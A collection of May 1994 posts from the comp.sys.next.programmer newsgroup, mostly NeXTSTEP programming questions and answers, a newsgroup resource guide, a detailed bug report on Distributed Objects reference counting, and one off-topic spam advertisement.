From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: What exactly happens when a textfield gets the field editor? Date: 23 May 1994 08:59:39 GMT Organization: me organized? That's a joke! Distribution: world Message-ID: <ROBERT.94May23095939@steffi.demon.co.uk> I have some textfields which have a transparent background and behind them is an image. The wierd thing is that when I select each text field the image behind them changes. What appears to be happening is that a part of the image (the same part in fact) is always composited in each selected textfield as it's background such that it's background is always the same.. So... what exactly happens when a textfieldcell gets the field editor? -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
From: robi@rolle.usr.dsi.unimi.it (Roberto Sala) Newsgroups: comp.sys.next.programmer Subject: Help:Serial RS232 management Date: 23 May 1994 11:26:31 GMT Organization: Computer Science Dep. - Milan University Message-ID: <2rq3t7$cu1@ghost.sm.dsi.unimi.it> Keywords: Serial port Hi guys, could someone help me in retrivial information about serial port management? I must communicate with a vcr via serial and I must transmit a command and I should receive an answer. I appreciate if someone send me also some demos (with Objective-C code) or information where I can find them. Thanks in advance Robi -- Roberto Sala - Computer Science Department State University of Milan Via Comelico 39/41 - 20135 Milano (Italy) Tel. +39 2 55006345 Fax +39 2 55006373 Email: robi@rolle.usr.dsi.unimi.it || sar@ghost.sm.dsi.unimi.it
From: sanguish@digifix.com Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace Subject: Quick Guide to NEXTSTEP information on the Internet Date: 23 May 1994 02:40:32 -0400 Organization: Next Announcements Message-ID: <2rpj50$lju@digifix.digifix.com> This post is made weekly, to help 'point' users to more NEXTSTEP information Topics include: Stepwise NEXTSTEP/OpenStep Information Server online comp.sys.next newsgroups related newsgroups comp.sys.next newsgroups mailing list ftp sites NeXTanswers New Information --------------- Stepwise NEXTSTEP/OpenStep Information Server online A product directory built around the World Wide Web system, this will allow full multimedia announcements by NEXTSTEP developers, as well as the ability to browse the available products for NEXTSTEP. This service is online now, and can be reached at http://digifix.digifix.com/ it can be reached using OmniWeb (available from ftp.omnigroup.com) or Mosaic. The entries are coming in quite quickly, and I'll be moving the entire NEXTSTEP Third Party Catalog contents in as soon as they become available. Additionally the NEXTSTEP Product Information Mail Server will be stocked full file files in the next week... you can get information on using the mail server at ns-products@digifix.com Suggestions or comments can be directed to me at sanguish@digifix.com comp.sys.next.* newsgroups -------------------------- Comp.Sys.Next.Advocacy This is the "why NEXTSTEP is better (or worse) than anything else in the known universe" forum. It was created specifically to divert lengthy flame wars from .misc. Comp.Sys.Next.Announce Announcements of general interest to the NeXT community (new products, FTP submissions, user group meetings, commercial announcements etc.) The NEXTSTEP FAQs are posted here monthly as well. This is a moderated newsgroup, meaning that you can't post to it directly. Submissions should be e-mailed to next-announce@digifix.com where the moderator (Scott Anguish) will screen them for suitability. Comp.Sys.Next.Bugs A place to report verifiable bugs in NeXT-supplied software. Material e-mailed to Bug_NeXT@NeXT.COM is not published, so this is a place for the net community find out about problems when they're discovered. This newsgroup has a very poor signal/noise ratio--all too often bozos post stuff here that really belongs someplace else. It rarely makes sense to crosspost between this and other c.s.n.* newsgroups, but individual reports may be germane to certain non-NeXT- specific groups as well. Comp.Sys.Next.Hardware Discussions about NeXT-label hardware and compatible peripherals, and non-NeXT-produced hardware (e.g. Intel) that is compatible with NEXTSTEP. In most cases, questions about Intel hardware are better asked in comp.sys.ibm.pc.hardware. Questions about SCSI devices belong in comp.periphs.scsi. This isn't the place to buy or sell used NeXTs--that's what .marketplace is for. Comp.Sys.Next.Marketplace NeXT stuff for sale/wanted. Material posted here must not be crossposted to any other c.s.n.* newsgroup, but may be crossposted to misc.forsale.computers.workstation or appropriate regional newsgroups. Comp.Sys.Next.Misc For stuff that doesn't fit anywhere else. Anything you post here by definition doesn't belong anywhere else in c.s.n.*--i.e. no crossposting!!! Comp.Sys.Next.Programmer Questions and discussions of interest to NEXTSTEP programmers. This is primarily a forum for advanced technical material. The NEXTSTEP programmer FAQs are posted here. Generic UNIX questions belong elsewhere (comp.unix.questions), although specific questions about NeXT's implementation or porting issues are appropriate here. Note that there are several other more "horizontal" newsgroups (comp.lang.objective-c, comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip, etc.) that may also be of interest. Comp.Sys.Next.Software This is a place to talk about [third party] software products that run on NEXTSTEP systems. Comp.Sys.Next.Sysadmin Stuff relating to NeXT system administration issues; in rare cases this will spill over into .programmer or .software. related Newsgroups ------------------ Comp.Soft-Sys.Nextstep Like comp.sys.next.software and comp.sys.next.misc combined. Exists because NeXT is a software-only company now, and comp.soft-sys is for discussion of software systems with scope similar to NEXTSTEP. Comp.Lang.Objective-C Technical talk about the Objective-C language. Implemetations discussed include NeXT, Gnu, Stepstone, etc. Comp.Object Technical talk about OOP in general. Lots of C++ discussion, but NeXT and Objective-C get quite a bit of attention. At times gets almost philosophical about objects, but then again OOP allows one to be a programmer/philosopher. (The original Comp.Sys.Next no longer exists--do not attempt to post to it.) Exception to the crossposting restrictions: announcements of usenet RFDs or CFVs, when made by the news.announce.newgroups moderator, may be simultaneously crossposted to all c.s.n.* newsgroups. Getting the Newsgroups without getting News ------------------------------------------- Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are now available as a mailing list digest as well. next-nextstep-d next-advocacy-d next-announce-d next-bugs-d next-hardware-d next-marketplace-d next-misc-d next-programmer-d next-software-d next-sysadmin-d (For a full description, send mail saying LISTS to <digestif@antigone.com>). The subscription syntax is essentially the same as LISTSERV's. To subscribe, send a message to <digestif@antigone.com> saying: SUB Listname YourName Example: SUB next-hardware-d John Doe The ftp sites ------------- cs.orst.edu: The main site for North American submissions nova.cc.purdue.edu: Lots of older stuff, but very short on disk space ftp.informatik.uni-muenchen.de: In Germany. terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group) ftp.next.com: See the below ftp.next.com and NextAnswers@next.com ------------------------------------- From the document 1000_Help from ftp.next.com Welcome to the NeXTanswers information retrieval system! This system allows you to request online technical documents, drivers, and other software, which are then sent to you automatically. You can request documents by fax or Internet electronic mail, or you can transfer them by anonymous ftp. NeXTanswers is an automated retrieval system. Requests sent to it are answered electronically, and are not read or handled by a human being. NeXTanswers does not answer your questions or forward your requests. USING NEXTANSWERS BY E-MAIL To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com. Files are sent as NeXTmail attachments by default; you can request they be sent as ASCII text files instead. To request a file, include that file's ID number in the Subject line or the body of the message. You can request several files in a single message. You can also include commands in the Subject line or the body of the message. These commands affect the way that files you request are sent: ASCII causes the requested files to be sent as ASCII text SPLIT splits large files into 95KB chunks, using the MIME Message/Partial specification These commands return information about the NeXTanswers system: HELP returns this help file INDEX returns the list of all available files INDEX BY DATE returns the list of files, sorted newest to oldest SEARCH keywords lists all files that contain all the keywords you list (ignoring capitalization) For example, a message with the following Subject line requests three files: Subject: 2101 2234 1109 A message with this body requests the same three files be sent as ASCII text files: 2101 2234 1109 ascii This message requests two lists of files, one for each search: Subject: SEARCH Dell SCSI SEARCH NetInfo domain NeXTanswers will reply to the address in your From: line. To use a different address either set your Reply-To: line, or use the NeXTanswers command REPLY-TO <your-address> If you have any problem with the system or suggestions for improvement, please send mail to NeXTanswers-request@NeXT.com. USING NEXTANSWERS BY FAX To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and follow the instructions. You'll be asked for your fax number, a number to identify your fax (like your phone extension or office number), and the ID numbers of the files you want. You can also request a list of available files. When you finish entering the file numbers, end the call and the files will be faxed to you. If you have problems using this fax system, please call Technical Support at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada. USING NEXTANSWERS BY ANONYMOUS FTP To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM and read the help file pub/NeXTanswers/README. If you have problems using this, please send mail to NeXTanswers-request@NeXT.com. Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
Newsgroups: comp.sys.next.programmer From: korp@eid.anl.gov (Peter A. Korp) Subject: NXBitmapImageRep and displaying 8bit colormapped images in a View.... Message-ID: <Cq9L2s.LHA@mcs.anl.gov> Sender: usenet@mcs.anl.gov Organization: Argonne National Laboratory, Argonne, Illinois Date: Mon, 23 May 1994 16:42:27 GMT I have a program that uses a chunk of memory 640x480 and writes an 8 bit colormap entries into this memory. It expects the memory to be a framebuffer that is colormapped. In NeXTSTEP I tried to create an NXBitmapImageRep and display the colors in grayscale using one of the colorspaces but I still got nothing. Any simple hints about how to take the data out of this memory buffer and transfer it to an NXImage that will be displayed on the screen? Thanks, Peter -- Peter A. Korp Assistant Scientist Argonne National Laboratory peter_korp@anl.gov
From: park@isl.Stanford.EDU (Sang Ju Park) Newsgroups: comp.sys.next.programmer Subject: Is there any PD FAX program for NeXT ? Date: 23 May 1994 20:56:32 GMT Organization: Information Systems Lab, Stanford University Distribution: world Message-ID: <94May23.135140@EE.Stanford.EDU> Hello. Is there any public domain fax send/receive porgram(s) available for NeXT ? As a related matter: Does anyone know how to convert multi page g3 raw data fax file, say, "foo.001, foo.002, ..., foo.005" to foo.fax which is readable by FaxReader program ? It seems that /usr/lib/NextPrinter/faxcleanup should do the job, but I cannot find the documentation for that program. Please send any reply to "park@isl.stanford.edu". Thanks in advance. --- Sang Ju Park (park@isl.stanford.edu)
From: mdussault@aol.com (MDussault) Newsgroups: comp.sys.next.programmer Subject: Getting up on the Internet with NeXT. How? Date: 23 May 1994 19:11:03 -0400 Organization: America Online, Inc. (1-800-827-6364) Sender: news@search01.news.aol.com Message-ID: <2rrd67$80c@search01.news.aol.com> I'm a beginner with NeXT (intel) and I was wondering if anyone could help me out 'cause I want to get access to my internet account (SL/IP) while in NeXT.. I can't even get NeXT to recognize the modem.. Any suggestions. (reply direct email please..) Thanks in advance!
Newsgroups: comp.sys.next.programmer,comp.sys.next.advocacy From: yanik@planon.qc.ca (Yanik Crepeau) Subject: Re: Distributed Object and NXReference (shorter) Message-ID: <1994May23.180008.11412@planon.qc.ca> Sender: yanik@planon.qc.ca (Yanik Crepeau) References: <1994May23.164002.11102@planon.qc.ca> Date: Mon, 23 May 1994 18:00:08 GMT In article <1994May23.164002.11102@planon.qc.ca> yanik@planon.qc.ca (Yanik Crepeau) writes: > In article <1994May19.150237.14940@planon.qc.ca> yanik@planon.qc.ca (Yanik > Crepeau) writes: > [...] My previous messages (in comp.sys.next.programmer) raise an important political issue. My R&D manager is very upset by the fact that NeXT hides important information. Two persons have spent more than a week figuring where and what the problem is and few days looking for a solution to that problem. I needed to send a message in comp.sys.next.programmer to get clues. This morning I received from XEDOC in Australia a message describing exacly the problem we had and giving excellent clues on the way to fix it. The problem is clearly a bug in the Distributed Objects system. There are many discrepancies in the documentation of the NXReference protocol and the related -free method. That bug is in the center of one of the most important mecanism of Distributed Objects. Since DO is in the center of the NeXT plans (the PDO flavor to be true), we could expect a relativly bug-free sub-system or at least a list of known bugs. What is a "known bug" for NeXT engineers? It seems clearly that something described as a bug by a third-party developer as XEDOC is not a "known bug". You can seek the NeXTAnswers and you won't find the excellent bug report sent by XEDOC few months ago. Is there an internal communication problem with the people at NeXT that receive bug-report and the people who post messages in NeXTAnswers? Maybe that kind of information is reserved for the NeXTEdge staff and each time someone will ask a question he/she will have to pay to get the answer? If it is the case, I hope XEDOC will have a fair percentage of the money collected by NeXT... I hope that NeXT will understand that third party programmers could collaborate to the expansion of NeXT. By posting bug-reports many persons will be able to conter-post the solution they have found. Unix grown that way. Yanik -- Yanik Crepeau The power of OOP used to stop when Programmer the programmer typed "make". With Planon Telexpertise NEXTSTEP and PDO, that is not true E-Mail: yanik@planon.qc.ca (NeXT) anymore!
Newsgroups: comp.sys.next.programmer From: derek@nosloc.com (Derek Collison) Subject: Getting shell environment variables within Apps, HOW? Message-ID: <CqABDG.5tC@nosloc.com> Sender: derek@nosloc.com (Derek Collison) Organization: Nosloc Software Technologies Date: Tue, 24 May 1994 02:10:28 GMT How does one get the values setup within a .cshrc from an app launched by the Workspace Manager? Thanks in advance, =derek -- Derek Collison <---> derek@nosloc.com Nosloc Software Technologies NeXTSTEP Consulting and Software Design
Newsgroups: comp.sys.next.programmer From: Robert La Ferla <Robert_La_Ferla@hot.com> Subject: Re: How to get TextFields to scroll as you type? Message-ID: <1994May24.020816.4070@hot.com> Sender: robertl@hot.com Organization: Hot Technologies References: <1994May18.182206.19236@il.us.swissbank.com> Date: Tue, 24 May 1994 02:08:16 GMT Yes, it's an option in the IB Attributes Inspector. Here's the API: - (BOOL)isScrollable; - setScrollable:(BOOL)flag; Robert La Ferla Hot Technologies Registered NEXTSTEP ISV and Consulting In article <1994May18.182206.19236@il.us.swissbank.com> montyz@il.us.swissbank.com (Montgomery Zukowski) writes: > I've noticed that TextFields in Next's apps will scroll along with you as > you type beyond the edge of the field, but my TextFields don't. Is it > just a setting somewhere? > > Monty
From: keogh@anshar.shadow.net (Matt Keogh) Newsgroups: comp.sys.next.programmer Subject: Skinny Dip Date: 24 May 1994 03:08:34 -0400 Organization: Shadow Information Services, Inc. Message-ID: <2rs95i$85a@anshar.shadow.net> ÜÛÛÛÛÛÜ ÛÛ ÜÛÛ ÞÛÛÝ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÛÛ ÛÛ ÛÛÛÛÛÛÜ ÞÛÛÝ ÛÛÛÛÛÛÜ ÛÛÜÜÜÜ ÛÛÜÛÛß ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛÜ ÜÛÛ ÛÛ ÛÛ ÛÛ ÛÛÜÜÜÛÛ ßßßßÛÛ ÛÛßÛÛÜ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ßÛÛÛß ÛÛ ÛÛ ÛÛ ÛÛßßßß ßÛÛÛÛÛß ÛÛ ßÛÛ ÞÛÛÝ ÛÛ ÛÛ ÛÛ ÛÛ ÞÛÝ ÛÛÛÛÛÛß ÞÛÛÝ ÛÛ *** THIGH CREAM *** The ORIGINAL thigh cream, as seen on national TV This is the NEW, SUPER STRENGTH formula Accept none of the immitation creams YOU'RE WORTH THE BEST!!! Now only $29.95 per bottle which INCLUDES shipping, handling and tax U.S. orders only, please. Rush check or money order to: U.S. Health Inc. 18524 NW 67th Ave. #311 Miami, Florida 33015
Newsgroups: comp.sys.next.programmer From: yanik@planon.qc.ca (Yanik Crepeau) Subject: Re: Distributed Object and NXReference (very long) Message-ID: <1994May23.164002.11102@planon.qc.ca> Sender: yanik@planon.qc.ca (Yanik Crepeau) References: <1994May19.150237.14940@planon.qc.ca> Date: Mon, 23 May 1994 16:40:02 GMT In article <1994May19.150237.14940@planon.qc.ca> yanik@planon.qc.ca (Yanik Crepeau) writes: [...] > > -- > Yanik Crepeau The power of OOP used to stop when > Programmer the programmer typed "make". With > Planon Telexpertise NEXTSTEP and PDO, that is not true > E-Mail: yanik@planon.qc.ca (NeXT) anymore! I have received a private letter from Australia. The guy at XEDOC is unable to post on usenet but allowed me to repost his letter. The text included in his message describes exacly the symptoms we discovered in our side. This is his message: Yanik, Please feel free to circulate this. I can't post news. The problem is real, and we reported it to NeXT some months back. The best they could do was to tell us that "they've got some problems with references." I'm hoping that they've fixed it in PDO 2.0, due for release *real soon now* Regards, Brett Adam Xedoc Distributed Objects in a real application environment NEXTSTEP 3.1 & 3.2 Prepared by: Brett Adam Xedoc Software Development Pty Ltd P.O Box 293, Albert Park. VIC 3206, Australia Phone: +61 3 696 2490 Fax:+61 3 696 6757 bpja@xedoc.com.au Michael Lofquist SIRIUS Object Oriented Technologies Pty Ltd P.O Box 408, N. Sydney. NSW 2059 Australia Phone: +61 18 619 502 Fax: +61 2 9222 353 sirius@radnet.nsw.gov.au Synopsis Developing client/server applications in an real application environment using distributed objects technology has uncovered a number of problems, shortcomings and bugs in the implementation of distributed objects. The design and documentation of reference counting and freeing of distributed objects does not match the actual implementation. Evidence seems to indicate that the actual implementation is completely reverse of the intended design. The problem of building secure servers that will vend distributed objects to client application lacks the ability to authenticate what application/object is requesting a distributed object , without having to pass the objects as parameter to the distributed object server. In this report we point out the shortcomings and the bug in the reference counting concept , suggest how they best be rectified, and offer a temporary work around. We also provide a simple but useful suggestion to amend the shortcomings of secure servers, by additions to the NXConnection class. The Project. Xedoc Software Development are currently building a number client/server applications using NeXT's Distributed Object Technology. We have come across a number of problems or shortcomings in the technology, and uncovered a significant bug. The project details are unimportant and at this stage confidential, but the core product involved is the Xerox InConcert workflow engine server. Xedoc have ported the InConcert API to NEXTSTEP, so that all interactions between NEXTSTEP client applications and the InConcert server is done using distributed objects. Reference counting and freeing distributed objects. NeXT recommends the use of NXReference protocol to reference count the instances of objects vended across a connection. Counts added incorrectly The documentation states that objects ( server side ) which conform to NXReference will have a reference added the first time they are seen across a given connection, and that subsequent vends across the same connection will not result in additional references being added, see [1]. The documentation also states that the remote proxy ( client side ) will have a reference added each time the object is returned across the connection, allowing the client application to know how many references to the object are potentially held on the client side. The proxy object will also only forward the free message to the server side correspondent when the proxies reference count goes zero, see [2] This approach ensures that a vended object will remain in a server process until all clients have finished with it. Counting the references on the remote side ensures that clients will remain a client of the object until all client-side users of the object have finished with it. The technique and mechanism described in the documentation sounds like an adequate solution to reference counting distributed objects. Unfortunately, it seems that the implementation of this mechanism has got it the other way around. We have observed that references are added each time a server object is passed across a connection ( server side ) and only added the first time to the remote proxy object when it is created on the client side. If a client application vends the same server object twice, the proxy object on the client side will have its reference count equal 1, and the server side object will have its reference count equal 2. As soon as the client decides to free one of it's references, the proxy object ( client side ) will be removed because its reference goes to zero, and the server will have its reference count decremented to 1, indicating to the connection that there is still one valid proxy object on the client side. Over time, this leakage situation will result in disaster for the distributed object servers, and the problem with the client references to remote objects is far worse, as clients will attempt to message objects that no longer exist on the client side. See the DObjectExcerciser example application for a test harness that exhibits this problem. The return from Free'dom If developers follow the recommendations in the documentation on freeing objects, see [3], the reference count problem gets even worse. It is recommended that objects free method should return nil on success, and self if the object was not actually freed, as in the case of reference count not being zero. A NeXT suggested free method implementation is: - free { refs--; if (refs > 0) return self; [NXConnection removeObject:self]; return [super free]; } If the free message originated from a client process that was freeing it's last reference to a server object, with the server object having a ref count greater than 1, then the return of self will create a new NXProxy on the remote end! Distributed objects should never return self, unless it is actually vending itself across the connection again. In this case, the free method should return nil. NeXT's own documentation is self-contradictory on this topic. Solutions to Distributed Objects reference counting and freeing We feel that there are no good work arounds for this problem. We suggest that NeXT change their implementation of reference counting to match the intended design and documentation, and also amend the NXReference documentation to note that distributed objects should always return nil in the free method. (Indeed, that you should always return nil unless you intend to vend another refernce to yourself) We could suggest that a temporary work around for this problem is either for clients never to free their references to remote objects, or actively increment the proxy objects reference count every time an distributed object is referenced by the client, and let the application manage the references count and freeing manually. This involves introducing a completely new reference counting protocol to avoid having NeXT's current (broken) implementation interfere. For the server side, the problemlies in trying to identify how many remote references there actually are to an object. This means implementing a separate mechanism to keep tabs on what client has referenced which object, and when all clients referencing that particular object are disconnected the server, free the object. Secure Servers A second problem we have come across in our distributed object implementation of client server architectures is the lack of support for the notion of a relationship between two objects engaged in a message transaction. Basically, there is no way to ascertain who sent an object a message unless the object that sends the message explicitly passes itself as a parameter. Within a self contained application context, this is not such an obvious problem, since objects that are messaging each other can be assumed to be authorised implicitly by being included in the same executable image on the same host. However, with distributed objects messages are received from objects that are clearly not authorised in this implicit fashion. Without a clear way to identify the sender of a message, a server object has to use various other devious means to identify the source and to check authentication of that source. A traditional client server design might include an initial authentication when a connection to a server is established, and use the resulting authentication "token" as an parameter to all subsequent messages to the server. This approach is maybe sufficient when the client side is composed of objects that can include the authentication token in all messages. But that is rarely the case in a real application environment, where applications often are composed of third party objects, who know nothing about the authentication token and rarely provide a mechanism to manage and include it in external messages to other objects in the application. The solution suggested by NEXTSTEP is to create an object that acts as a "forwarding proxy", passing all messages received onto the real target object but adding this layer of authentication in the process. Distributed objects already has a concept of proxy (NXProxy) and it would seem logical to be able to subclass NXProxy to add the appropriate app-specific authentication support. However, the NXConnection class, which is responsible for creating the NXProxy instances as objects are vended, has no support for creating instances which are subclasses of the NXProxy class. Thus, the developer ends up with an NXProxy instance forwarding messages to a SecureProxy object which then forwards the messages onward to the real server object that we're trying to share. Secure Servers Solution We suggests that NXConnection be modified to allow developers to have instances of NXProxy subclasses created instead of NXProxy instances. A method such as - setProxyClass: aClass; would be adequate for the task. In addition, some way to identify the client within the created subclasses would allow authentication to proceed. For example, if there was some way to identify the "current" NXConnection on which the incoming message had been received. This is clearly a non-trivial problem given the possibliity of multi-threaded server environments, etc. This authentication problem is, we feel, very significant in making distributed objects a truly useful tool for client/server applications development in the real world. References [1] NeXTSTEP General Reference, Volume 2 Page 6-9, Distributed Objects, Reference Count. Extract: With the Distributed Objects system, it is possible for an object to be shared by several applications. Since an object may be in use by many applications, a reference counting scheme may be necessary to insure that an object in use doesn't go away simply because a single application is done with it and frees it. The NXReference protocol is declared to allow objects to implement reference counting. Both the NXConnection and NXProxy classes conform to this protocol in order to know to what extent references are being held. You may wish to make your shared objects conform to this protocol; NXConnection will check if your object conforms to the NXReference protocol before it gives away references to it. If your object conforms to the protocol, a reference is added to the object the first time the object is seen on a connection. Note that a reference is not added every time an object is vended, only the first time it is seen on each connection. This works well if the object arrives only once per client application. In other cases, you can add a reference to an object every additional time you receive it, and eliminate the reference (by sending it the free message) every time you are finished with the object. [2] NeXTSTEP General Reference, Volume 2 Page 6-34, Distributed Objects , NXProxy Extract: An application never instantiates NXProxy objects directly; they are created for your application when you are given a reference to an object that doesn't exist in your address space. The proxies vended to your application are reference-counted, so only a single NXProxy per connection is instantiated for any real object. When you're done with a remote object, you should typically send it a free message to eliminate its remote proxy locally and its local proxy remotely. This will decrement the reference-count on the proxy, and free it if there are no outstanding references. The free message will also be forwarded to the proxy's correspondent, which will free it (or dereference it if the object conforms to the NXReference protocol). An application alternatively might free the proxy's NXConnection, which will free all the connection's resources, including all its proxies. ...... free - free Decrements the reference count on the proxy. If there are remaining references to the proxy, the free message isn't forwarded across the connection and this method returns self. If there are no remaining references, the proxy forwards the free message to its corresponding object, invokes the freeProxy method to free the proxy locally, and returns nil. [3] NeXTSTEP General Reference, Volume 2 Page 9-34, Mach Kit , NXReference protocol Extract: free - free Decrements the receiver's reference count, returning self if the reference count remains greater than 0. If the reference count becomes 0, this method deallocates the receiver's storage and returns nil. A typical implementation for a reference counted object that is vended over a Distributed Objects connection might look like this: - free { refs--; if (refs > 0) return self; [NXConnection removeObject:self]; return [super free]; } -- Yanik Crepeau The power of OOP used to stop when Programmer the programmer typed "make". With Planon Telexpertise NEXTSTEP and PDO, that is not true E-Mail: yanik@planon.qc.ca (NeXT) anymore!
Newsgroups: comp.sys.next.programmer From: markus@newsoft.octagon.de (Markus Singer) Subject: Re: Help:Serial RS232 management Message-ID: <1994May23.171325.3961@newsoft.octagon.de> Sender: markus@newsoft.octagon.de Organization: NeW-SOFT References: <2rq3t7$cu1@ghost.sm.dsi.unimi.it> Date: Mon, 23 May 1994 17:13:25 GMT In article <2rq3t7$cu1@ghost.sm.dsi.unimi.it> robi@rolle.usr.dsi.unimi.it (Roberto Sala) writes: > could someone help me in retrivial information about serial port > management? Hi! Did you check out the MiscKit (current version 1.2.4), yet? It contains a SerialPort class for communicating with the serial ports. You'll find it at ftp.informatik.uni-muenchen.de. --> Markus
Newsgroups: comp.sys.next.programmer From: Nghiem_Alex@pcp.ca (Alex Nghiem) Subject: using mail in gdb: problem solved? Message-ID: <1994May24.155603.1229@pcp.ca> Keywords: mail, gdb Sender: news@pcp.ca Organization: PanCanadian Petroleum Ltd. Date: Tue, 24 May 94 15:56:03 GMT Hello there: I wanted to clarify some of the solutions that were proposed for running mail in gdb. Originally, I was using system("/bin/mail") to e-mail our users for an audit trail. However, this caused problems when running our app in gdb since gdb does not allow a program that performs setuid (/bin/mail does this) to be run correctly (in gdb - it works fine outside of gdb). One solution was to use /usr/ucb/mail, which does not setuid. However, it turns out that /usr/ucb/mail eventually calls sendmail anyway, which performs a setuid. Thus, we're back to square one. To make a long story short, I'm using my original solution, which is system("/bin/mail"). Thanks for all the replies, Alex Nghiem_Alex@pcp.ca (until June 16th) alex@oolesson.com
Newsgroups: comp.sys.next.programmer From: andrew@stone.com (Andrew Stone) Subject: Re: How to get TextFields to scroll as you type? Message-ID: <1994May23.235131.4063@stone.com> Sender: andrew@stone.com Organization: Stone Design Corp References: <Cq21nM.4qn@lorax.com> Date: Mon, 23 May 1994 23:51:31 GMT In article <Cq21nM.4qn@lorax.com> mike@lorax.com (Mike Ferris) writes: > In article <1994May18.182206.19236@il.us.swissbank.com> > montyz@il.us.swissbank.com (Montgomery Zukowski) writes: > >I've noticed that TextFields in Next's apps will scroll along with you as > >you type beyond the edge of the field, but my TextFields don't. Is it > >just a setting somewhere? > > > >Monty > > Click the Scrollable checkbox in IB's TextField inspector. > > Note that this forces the text alignment to be Left Aligned - you can't make a textfield which is centered or right aligned scroll... andrew -- ||<<->>||<<==>>|S<<++>>|T<<?>O<+>>N|<<-->>E|<<==>>||<<+>>|| !! Andrew Stone | (505) 345-4800 !! !! andrew@stone.com | Have Modem Why Travel !! ||<<->>|D<<==>>|E<<++>>|S<<?>|<+>>G|<<-->>N|<<==>>!|<<+>>||
Newsgroups: comp.sys.next.programmer,comp.sys.next.advocacy From: dave@prim.demon.co.uk (Dave Griffiths) Subject: Re: Distributed Object and NXReference (shorter) Message-ID: <1994May24.172456.547@prim.demon.co.uk> Organization: Primitive Software Ltd. References: <1994May23.164002.11102@planon.qc.ca> <1994May23.180008.11412@planon.qc.ca> Date: Tue, 24 May 1994 17:24:56 GMT In article <1994May23.180008.11412@planon.qc.ca> yanik@planon.qc.ca (Yanik Crepeau) writes: >I received from XEDOC in Australia a message describing exacly the problem we >had and giving excellent clues on the way to fix it. > >The problem is clearly a bug in the Distributed Objects system. There are many >discrepancies in the documentation of the NXReference protocol and the related >-free method. That bug is in the center of one of the most important mecanism >of Distributed Objects. Since DO is in the center of the NeXT plans (the PDO >flavor to be true), we could expect a relativly bug-free sub-system or at least >a list of known bugs. > >What is a "known bug" for NeXT engineers? It seems clearly that something >described as a bug by a third-party developer as XEDOC is not a "known bug". >You can seek the NeXTAnswers and you won't find the excellent bug report sent >by XEDOC few months ago. Is there an internal communication problem with the >people at NeXT that receive bug-report and the people who post messages in >NeXTAnswers? Maybe that kind of information is reserved for the NeXTEdge staff >and each time someone will ask a question he/she will have to pay to get the >answer? If it is the case, I hope XEDOC will have a fair percentage of the >money collected by NeXT... All of us who use DO's are interested in what NeXT plan to do about this bug. Any chance of someone from NeXT replying? Just something along the lines of "yes, we know it's a bug and it'll be fixed in release x.x". Thanks, Dave Griffiths
Newsgroups: comp.sys.next.programmer From: pelletk@il.us.swissbank.com (Ken Pelletier) Subject: Re: DBKit question Message-ID: <1994May24.172646.4055@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division References: <2ro3ug$16d@News1.mcs.com> Date: Tue, 24 May 1994 17:26:46 GMT A lot of people asked for an example of using DBExpression to do what R. Craig Woods was looking for. R. Craig Woods writes: > Is it possible to issue an SQL function such as max() or count() > using the DBKit? If so, would someone explain how you do this, > or point me to online documentation or examples? > > Thanks. > ---Craig Woods Here's the meat of it: /* * This is taken from the init method which is passed a property * for which the max() is to be gotten later by invoking * a method called nextID. nextID just fetches, then digs out * the value for idExpression and returns it. * * You can also init with a qualifier, which gives you next-id within * a where clause. */ recordList = [[DBRecordList alloc] init]; idExpression = [[DBExpression alloc] initForEntity:[aProperty entity] fromDescription:"MAX(%@) +1", aProperty]; aPropList = [[List alloc] init]; [aPropList addObject:idExpression]; [recordList setProperties:aPropList ofSource:nil]; [aPropList free]; ...munch.... - (int)nextID { int nextID; id aValue = [[DBValue alloc] init]; // Fetch a new ID and return it [recordList fetchUsingQualifier:theQualifier]; [recordList getValue:aValue forProperty:idExpression at:0]; nextID = [aValue intValue]; [aValue free]; return nextID; } One (easy to fix) problem here: If there are no rows (for the qualifier used), max() returns a warning and the recordList is empty. The DBValue returns 0 for its intValue (probably what you want, but makes me queezy). You really need to test the count of the record list or maybe check for adaptor errors. To those who expressed an interest in the IDVendor object that this is taken from, it's coming. Anyone else wanting a copy, email me and I'll send it along. I thought it might be a bit much to post it here. Enjoy, Ken ken_pelletier@swissbank.com ken@nika.com
From: suresh@proxima.com (Suresh Pai) Newsgroups: comp.sys.next.programmer Subject: Help: NXstream and Text object Date: 24 May 1994 14:38:31 -0500 Organization: Proxima, Inc. Sender: nobody@cs.utexas.edu Message-ID: <9405241913.AA00893@proxima.com> Hi I have a scrollView (called "customView") in my program and I set [customView setVertScrollerRequired:YES]; [customView setHorizScrollerRequired:YES]; [[customView docView] setVertResizable:YES]; [[customView docView] setHorizResizable:YES]; when I insert one line (at a time) into the text object of the scroll view using currentLength = [[customView docView] textLength]; [[customView docView] setSel:currentLength :currentLength]; [[customView docView] replaceSel:textBuf]; [[customView docView] scrollSelToVisible]; I get both horizontal scroller and vertical scroller with no problem. But if I create a multi-line NXStream and then try to insert into the text object using NXPrintf(myStream, "%s\n", textBuf); // called N-times NXFlush(myStream); NXGetMemoryBuffer(myStream, &str, &len, &maxlen); currentLength = [[customView docView] textLength]; [[customView docView] setSel:currentLength :currentLength]; [[customView docView] replaceSel:str]; NXCloseMemory(myStream, NX_FREEBUFFER); The scroll view does not display the horizontal scroller. ( In both cases the inserted text-line width is greated than the width of the scroll view) How can I make scrollview to display the horizontal scroller when NXstream is used? Thanks suresh suresh@proxima.com
